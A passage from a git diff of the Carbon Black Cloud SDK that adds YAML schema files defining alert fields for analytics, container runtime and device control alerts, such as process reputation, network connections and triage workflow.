type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + egress_group_id: + type: string + description: Unique identifier for the egress group + egress_group_name: + type: string + description: Name of the egress group + external_device_friendly_name: + type: string + description: Human-readable external device names + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + ioc_field: + type: string + description: The field the indicator of comprise (IOC) hit contains + ioc_hit: + type: string + description: IOC field value or IOC query that matches + ioc_id: + type: string + description: Unique identifier of the IOC that generated the watchlist hit + ip_reputation: + type: integer + format: int64 + description: Range of reputations to accept for the remote IP 0- unknown 1-20 high risk 21-40 suspicious 41-60 moderate 61-80 low risk 81-100 trustworthy There must be two values in this list. The first is the lower end of the range (inclusive) the second is the upper end of the range (inclusive) + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + k8s_cluster: + type: string + description: K8s Cluster name + k8s_kind: + type: string + description: K8s Workload kind + k8s_namespace: + type: string + description: K8s namespace + k8s_pod_name: + type: string + description: Name of the pod within a workload + k8s_policy: + type: string + description: Name of the K8s policy + k8s_policy_id: + type: string + description: Unique identifier for the K8s policy + k8s_rule: + type: string + description: Name of the K8s policy rule + k8s_rule_id: + type: string + description: Unique identifier for the K8s policy rule + k8s_workload_name: + type: string + description: K8s Workload Name + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + mdr_alert: + type: boolean + description: Is Mdr alert + mdr_alert_notes_present: + type: boolean + description: Customer visible notes at the alert level that were added by a MDR analyst + mdr_determination: + type: object + description: Mdr updatable classification of the alert + properties: + change_timestamp: + type: string + description: When the last MDR classification change occurred + format: date-time + value: + type: string + description: A record that identifies the whether the alert was determined to represent a likely or unlikely threat. + enum: + - NOT_ENOUGH_INFO + - NOT_REVIEWED + - NONE + - UNLIKELY_THREAT + - LIKELY_THREAT + mdr_threat_notes_present: + type: boolean + description: Customer visible notes at the threat level that were added by a MDR analyst + mdr_workflow: + type: object + description: MDR-updatable workflow of the alert + properties: + change_timestamp: + description: When the last MDR status change occurred + type: string + format: date-time + is_assigned: + type: boolean + description: + status: + type: string + description: Primary value used to capture status change during MD Analyst's alert triage + enum: + - UNCLAIMED + - IN_PROGRESS + - TRIAGE_COMPLETE + - ACTION_REQUESTED + - PENDING_RESPONSE + - RESPONCE_RECEIVED + ml_classification_final_verdict: + type: string + enum: + - NOT_CLASSIFIED + - NOT_ANOMALOUS + - ANOMALOUS + description: Final verdict of the alert, based on the ML models that were used to make the prediction. + ml_classification_global_prevalence: + type: string + enum: + - UNKNOWN + - LOW + - MEDIUM + - HIGH + description: Categories (low/medium/high) used to describe the prevalence of alerts across all regional organizations. + ml_classification_org_prevalence: + type: string + enum: + - UNKNOWN + - LOW + - MEDIUM + - HIGH + description: Categories (low/medium/high) used to describe the prevalence of alerts within an organization. + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + parent_cmdline: + type: string + description: Command line of the parent process + parent_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the parent process; applied by the sensor when the event occurred + parent_guid: + type: string + description: Unique process identifier assigned to the parent process + parent_md5: + type: string + description: MD5 hash of the parent process binary + parent_name: + type: string + description: Filesystem path of the parent process binary + parent_pid: + type: integer + format: int64 + description: Identifier assigned by the operating system to the parent process + parent_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the parent process; applied by the Carbon Black Cloud when the event is initially processed + parent_sha256: + type: string + description: SHA-256 hash of the parent process binary + parent_username: + type: string + description: User context in which the parent process was executed + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + process_cmdline: + type: string + description: Command line executed by the actor process + process_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the actor hash + process_guid: + type: string + description: Guid of the process that has fired the alert (optional) + process_issuer: + type: string + description: + process_md5: + type: string + description: MD5 hash of the actor process binary + process_name: + type: string + description: Process names of an alert + process_pid: + type: integer + format: int64 + description: PID of the process that has fired the alert (optional) + process_publisher: + type: string + description: + process_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the actor process; applied when event is processed by the Carbon Black Cloud + process_sha256: + type: string + description: SHA-256 hash of the actor process binary + process_username: + type: string + description: User context in which the actor process was executed. MacOS - all users for the PID for fork() and exec() transitions. Linux - process user for exec() events, but in a future sensor release can be multi-valued due to setuid(). + product_id: + type: string + description: IDs of the product that identifies USB devices + product_name: + type: string + description: Names of the product that identifies USB devices + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + remote_is_private: + type: boolean + description: Is the remote information private + remote_k8s_kind: + type: string + description: Kind of remote workload; set if the remote side is another workload in the same cluster + remote_k8s_namespace: + type: string + description: Namespace within the remote workload’s cluster; set if the remote side is another workload in the same cluster + remote_k8s_pod_name: + type: string + description: Remote workload pod name; set if the remote side is another workload in the same cluster + remote_k8s_workload_name: + type: string + description: Name of the remote workload; set if the remote side is another workload in the same cluster + report_description: + type: string + description: Description of the watchlist report associated with the alert + report_id: + type: string + description: Report IDs that contained the IOC that caused a hit + report_link: + type: string + description: Link of reports that contained the IOC that caused a hit + report_name: + type: string + description: Name of the watchlist report + report_tags: + type: string[] + description: Tags associated with the watchlist report + rule_category_id: + type: string + description: ID representing the category of the rule_id for certain alert types + rule_config_category: + type: string + description: Types of rule configs + rule_id: + type: string + description: ID of the rule that triggered an alert; applies to Intrusion Detection System, Host-Based Firewall, TAU Intelligence, and USB Device Control alerts + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + serial_number: + type: string + description: Serial numbers of the specific devices + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_name: + type: string + description: Name of the threat + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + tms_rule_id: + type: string + description: Detection id + ttps: + type: string + description: Other potential malicious activities involved in a threat + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + vendor_id: + type: string + description: IDs of the vendors who produced the devices + vendor_name: + type: string + description: Names of the vendors who produced the devices + watchlists: + type: object + description: List of watchlists associated with an alert. Alerts are batched hourly + properties: + id: + type: string + description: + name: + type: string + description: + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_cb_analytic.yaml b/src/cbc_sdk/platform/models/alert_cb_analytic.yaml new file mode 100644 index 000000000..a054c63e8 --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_cb_analytic.yaml @@ -0,0 +1,492 @@ +type: object +properties: + additional_events_present: + type: boolean + description: Indicator to let API and forwarder users know that they should look up other associated events related to this alert + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + attack_tactic: + type: string + description: A tactic from the MITRE ATT&CK framework; defines a reason for an adversary’s action, such as achieving credential access + attack_technique: + type: string + description: A technique from the MITRE ATT&CK framework; defines an action an adversary takes to accomplish a goal, such as dumping credentials to achieve credential access + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + blocked_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the blocked file or process; applied by the sensor at the time the block occurred + blocked_md5: + type: string + description: MD5 hash of the child process binary; for any process terminated by the sensor + blocked_name: + type: string + description: Tokenized file path of the files blocked by sensor action + blocked_sha256: + type: string + description: SHA-256 hash of the child process binary; for any process terminated by the sensor + category: + type: string + description: Alert category - Monitored vs Threat + enum: + - THREAT + - MONITORED + - INFO + - MINOR + - SERIOUS + - CRITICAL + childproc_cmdline: + type: string + description: Command line for the child process + childproc_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the child process; applied by the sensor at the time the event occurred + childproc_guid: + type: string + description: Unique process identifier assigned to the child process + childproc_md5: + type: string + description: Hash of the child process' binary (Enterprise EDR) + childproc_name: + type: string + description: Filesystem path of the child process' binary + childproc_sha256: + type: string + description: Hash of the child process' binary (Endpoint Standard) + childproc_username: + type: string + description: User context in which the child process was executed + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + device_external_ip: + type: string + description: IP address of the endpoint according to the Carbon Black Cloud; can differ from device_internal_ip due to network proxy or NAT; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_id: + type: integer + format: int64 + description: ID of devices + device_internal_ip: + type: string + description: IP address of the endpoint reported by the sensor; either IPv4 (dotted decimal notation) or IPv6 (proprietary format) + device_location: + type: string + enum: + - ONSITE + - OFFSITE + - UNKNOWN + description: Whether the device was on or off premises when the alert started, based on the current IP address and the device’s registered DNS domain suffix + device_name: + type: string + description: Device name + device_os: + type: string + enum: + - WINDOWS + - ANDROID + - MAC + - LINUX + - OTHER + description: Device Operating Systems + device_os_version: + type: string + example: Windows 10 x64 + description: The operating system and version of the endpoint. Requires Windows CBC sensor version 3.5 or later. + device_policy: + type: string + description: Device policy + device_policy_id: + type: integer + format: int64 + description: Device policy id + device_target_value: + type: string + enum: + - LOW + - MEDIUM + - HIGH + - MISSION_CRITICAL + description: Target value assigned to the device, set from the policy + device_uem_id: + type: string + description: Device correlation with WS1/EUC, required for our Workspace ONE Intelligence integration to function + device_username: + type: string + description: Logged on user during the alert. This is filled on a best-effort + approach. If the user is not available it may be populated with the device + owner (empty for Container Runtime alerts) + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + parent_cmdline: + type: string + description: Command line of the parent process + parent_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the parent process; applied by the sensor when the event occurred + parent_guid: + type: string + description: Unique process identifier assigned to the parent process + parent_md5: + type: string + description: MD5 hash of the parent process binary + parent_name: + type: string + description: Filesystem path of the parent process binary + parent_pid: + type: integer + format: int64 + description: Identifier assigned by the operating system to the parent process + parent_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the parent process; applied by the Carbon Black Cloud when the event is initially processed + parent_sha256: + type: string + description: SHA-256 hash of the parent process binary + parent_username: + type: string + description: User context in which the parent process was executed + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + process_cmdline: + type: string + description: Command line executed by the actor process + process_effective_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Effective reputation of the actor hash + process_guid: + type: string + description: Guid of the process that has fired the alert (optional) + process_issuer: + type: string + description: + process_md5: + type: string + description: MD5 hash of the actor process binary + process_name: + type: string + description: Process names of an alert + process_pid: + type: integer + format: int64 + description: PID of the process that has fired the alert (optional) + process_publisher: + type: string + description: + process_reputation: + type: string + enum: + - ADAPTIVE_WHITE_LIST + - COMMON_WHITE_LIST + - COMPANY_BLACK_LIST + - COMPANY_WHITE_LIST + - PUP + - TRUSTED_WHITE_LIST + - RESOLVING + - COMPROMISED_OBSOLETE + - DLP_OBSOLETE + - IGNORE + - ADWARE + - HEURISTIC + - SUSPECT_MALWARE + - KNOWN_MALWARE + - ADMIN_RESTRICT_OBSOLETE + - NOT_LISTED + - GRAY_OBSOLETE + - NOT_COMPANY_WHITE_OBSOLETE + - LOCAL_WHITE + - NOT_SUPPORTED + description: Reputation of the actor process; applied when event is processed by the Carbon Black Cloud + process_sha256: + type: string + description: SHA-256 hash of the actor process binary + process_username: + type: string + description: User context in which the actor process was executed. MacOS - all users for the PID for fork() and exec() transitions. Linux - process user for exec() events, but in a future sensor release can be multi-valued due to setuid(). + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + rule_category_id: + type: string + description: ID representing the category of the rule_id for certain alert types + rule_id: + type: string + description: ID of the rule that triggered an alert; applies to Intrusion Detection System, Host-Based Firewall, TAU Intelligence, and USB Device Control alerts + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + ttps: + type: string + description: Other potential malicious activities involved in a threat + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_container_runtime.yaml b/src/cbc_sdk/platform/models/alert_container_runtime.yaml new file mode 100644 index 000000000..054d9497a --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_container_runtime.yaml @@ -0,0 +1,247 @@ +type: object +properties: + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected on `user_update_timestamp` + connection_type: + type: string + enum: + - INTERNAL_INBOUND + - INTERNAL_OUTBOUND + - INGRESS + - EGRESS + description: Connection Type + detection_timestamp: + type: string + format: date-time + description: For sensor-sent alerts, this is the time of the event on the sensor. For alerts generated on the backend, this is the time the backend system triggered the alert. + determination: + description: User-updatable determination of the alert + type: object + properties: + change_timestamp: + type: string + format: date-time + description: When the determination was updated. + changed_by: + type: string + description: User the determination was changed by. + changed_by_type: + type: string + description: + enum: + - SYSTEM + - USER + - API + - AUTOMATION + value: + type: string + description: Determination of the alert set by a user + enum: + - NONE + - TRUE_POSITIVE + - FALSE_POSITIVE + egress_group_id: + type: string + description: Unique identifier for the egress group + egress_group_name: + type: string + description: Name of the egress group + first_event_timestamp: + type: string + format: date-time + description: Timestamp when the first event in the alert occurred + id: + type: string + description: Unique IDs of alerts + ip_reputation: + type: integer + format: int64 + description: Range of reputations to accept for the remote IP 0- unknown 1-20 high risk 21-40 suspicious 41-60 moderate 61-80 low risk 81-100 trustworthy There must be two values in this list. The first is the lower end of the range (inclusive) the second is the upper end of the range (inclusive) + is_updated: + type: boolean + description: Boolean that describes whether or not this is the original copy of the alert + k8s_cluster: + type: string + description: K8s Cluster name + k8s_kind: + type: string + description: K8s Workload kind + k8s_namespace: + type: string + description: K8s namespace + k8s_pod_name: + type: string + description: Name of the pod within a workload + k8s_policy: + type: string + description: Name of the K8s policy + k8s_policy_id: + type: string + description: Unique identifier for the K8s policy + k8s_rule: + type: string + description: Name of the K8s policy rule + k8s_rule_id: + type: string + description: Unique identifier for the K8s policy rule + k8s_workload_name: + type: string + description: K8s Workload Name + last_event_timestamp: + type: string + format: date-time + description: Timestamp when the last event in the alert occurred + netconn_local_ip: + type: string + description: IP address of the remote side of the network connection; stored as dotted decimal + netconn_local_ipv4: + type: string + description: IPv4 address of the local side of the network connection; stored as a dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_ipv6: + type: string + description: IPv6 address of the local side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_local_port: + type: integer + format: int64 + description: TCP or UDP port used by the local side of the network connection + netconn_protocol: + type: string + description: Network protocol of the network connection + netconn_remote_domain: + type: string + description: Domain name (FQDN) associated with the remote end of the network connection, if available + netconn_remote_ip: + type: string + description: IP address of the local side of the network connection; stored as dotted decimal + netconn_remote_ipv4: + type: string + description: IPv4 address of the remote side of the network connection; stored as dotted decimal. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_ipv6: + type: string + description: IPv6 address of the remote side of the network connection; stored as a string without octet-separating colon characters. Only one of ipv4 and ipv6 fields will be populated. + netconn_remote_port: + type: integer + format: int64 + description: TCP or UDP port used by the remote side of the network connection; same as netconn_port and event_network_remote_port + org_key: + type: string + description: Unique alphanumeric string that identifies your organization in the Carbon Black Cloud + policy_applied: + type: string + enum: + - APPLIED + - NOT_APPLIED + description: Indicates whether or not a policy has been applied to any event associated with this alert + primary_event_id: + type: string + description: ID of the primary event in the alert + reason: + type: string + description: A spoken language written explanation of the what and why the alert occurred and any action taken, usually consisting of 1 to 3 sentences. + reason_code: + type: string + description: A unique short-hand code or GUID identifying the particular alert reason + remote_is_private: + type: boolean + description: Is the remote information private + remote_k8s_kind: + type: string + description: Kind of remote workload; set if the remote side is another workload in the same cluster + remote_k8s_namespace: + type: string + description: Namespace within the remote workload’s cluster; set if the remote side is another workload in the same cluster + remote_k8s_pod_name: + type: string + description: Remote workload pod name; set if the remote side is another workload in the same cluster + remote_k8s_workload_name: + type: string + description: Name of the remote workload; set if the remote side is another workload in the same cluster + run_state: + type: string + enum: + - DID_NOT_RUN + - RAN + - UNKNOWN + description: Whether the threat in the alert actually ran + sensor_action: + type: string + enum: + - ALLOW + - ALLOW_AND_LOG + - DENY + - TERMINATE + description: Actions taken by the sensor, according to the rules of a policy + severity: + type: integer + format: int64 + description: integer representation of the impact of alert if true positive + tags: + type: array + description: Tags added to the threat ID of the alert + items: + type: string + threat_id: + type: string + description: ID assigned to a group of alerts with common criteria, based on alert type + threat_notes_present: + type: boolean + description: True if notes are present on the threat ID. False if notes are not present. + type: + type: string + enum: + - CB_ANALYTICS + - WATCHLIST + - DEVICE_CONTROL + - CONTAINER_RUNTIME + - HOST_BASED_FIREWALL + - INTRUSION_DETECTION_SYSTEM + - NETWORK_TRAFFIC_ANALYSIS + description: Type of alert generated + user_update_timestamp: + type: string + format: date-time + description: Timestamp of the last property of an alert changed by a user, such as the alert workflow or determination + workflow: + type: object + description: Current workflow state of an alert. The workflow represents the flow from `OPEN` to `IN_PROGRESS` to `CLOSED` and captures who moved the alert into the current state. The history of these state transitions is available via the alert history route. + properties: + change_timestamp: + type: string + format: date-time + description: When the last status change occurred + workflow_changed_by: + type: string + description: Who (or what) made the last status change + workflow_changed_by_rule_id: + type: string + description: + workflow_changed_by_type: + type: string + enum: + - SYSTEM + - USER + - API + - AUTOMATION + description: + workflow_closure_reason: + type: string `NO_REASON`, `RESOLVED`, `RESOLVED_BENIGN_KNOWN_GOOD`, `DUPLICATE_CLEANUP`, `OTHER` + description: A more detailed description of why the alert was resolved + workflow_status: + type: string + enum: + - OPEN + - IN_PROGRESS + - CLOSED + description: primary value used to determine if the alert is active or inactive and displayed in the UI by default \ No newline at end of file diff --git a/src/cbc_sdk/platform/models/alert_device_control.yaml b/src/cbc_sdk/platform/models/alert_device_control.yaml new file mode 100644 index 000000000..c9bad81a4 --- /dev/null +++ b/src/cbc_sdk/platform/models/alert_device_control.yaml @@ -0,0 +1,229 @@ +type: object +properties: + alert_notes_present: + type: boolean + description: True if notes are present on the alert ID. False if notes are not present. + alert_url: + type: string + description: Link to the alerts page for this alert. Does not vary by alert type + backend_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud processed and enabled the alert for searching. Corresponds to the Created column on the Alerts page. + backend_update_timestamp: + type: string + format: date-time + description: Timestamp when the Carbon Black Cloud initiated and processed an update to an alert. Corresponds to the Updated column on the Alerts page. Note that changes made by users do not change this date; those changes are reflected 